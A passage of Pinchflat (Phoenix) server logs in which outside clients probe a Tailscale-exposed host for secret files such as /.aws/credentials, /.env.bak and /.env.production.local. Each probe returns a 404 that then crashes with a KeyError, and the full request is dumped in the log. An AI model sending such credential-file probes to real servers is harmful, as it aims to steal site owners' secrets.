(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "172.69.70.128", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "pinchflat.tai (truncated) 02:50:33.739 [info] HEAD /.env.old 02:50:33.740 [info] HEAD /.env.bak 02:50:33.740 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=701.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:33.740 [debug] QUERY OK source="settings" db=0.2ms idle=14.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:33.740 [debug] QUERY OK source="settings" db=0.3ms idle=14.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:33.740 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:33.741 [debug] QUERY OK source="settings" db=0.7ms idle=14.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:33.741 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:33.741 [error] #PID<0.3740.0> running PinchflatWeb.Endpoint (connection #PID<0.3727.0>, stream id 11) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.env.old ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3740.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHTYztMzA1B4AAWVB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3740.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)"}, (truncated) 02:50:33.742 [error] #PID<0.3741.0> running PinchflatWeb.Endpoint (connection #PID<0.3716.0>, stream id 5) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.env.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3741.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHTZBcipGIG4AAWWB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3741.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"req (truncated) 02:50:34.138 [info] HEAD /.env.production.local 02:50:34.139 [info] HEAD /config.yaml 02:50:34.139 [debug] QUERY OK source="settings" db=0.4ms idle=398.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:34.139 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=398.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:34.139 [debug] QUERY OK source="settings" db=0.2ms idle=398.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:34.139 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:34.139 [debug] QUERY OK source="settings" db=0.2ms idle=397.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:34.139 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:34.139 [error] #PID<0.3742.0> running PinchflatWeb.Endpoint (connection #PID<0.3716.0>, stream id 6) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.env.production.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.production (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3742.0>, params: %{}, path_info: [".env.production"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.production.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHU3_EAnqAgMAAWXB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.production (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3742.0>, params: %{}, path_info: [".env.production"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,applicat (truncated) 02:50:34.140 [error] #PID<0.3743.0> running PinchflatWeb.Endpoint (connection #PID<0.3727.0>, stream id 12) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /config.yaml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yaml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3743.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/config.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHU4JcS9AItgAAWYB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yaml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: 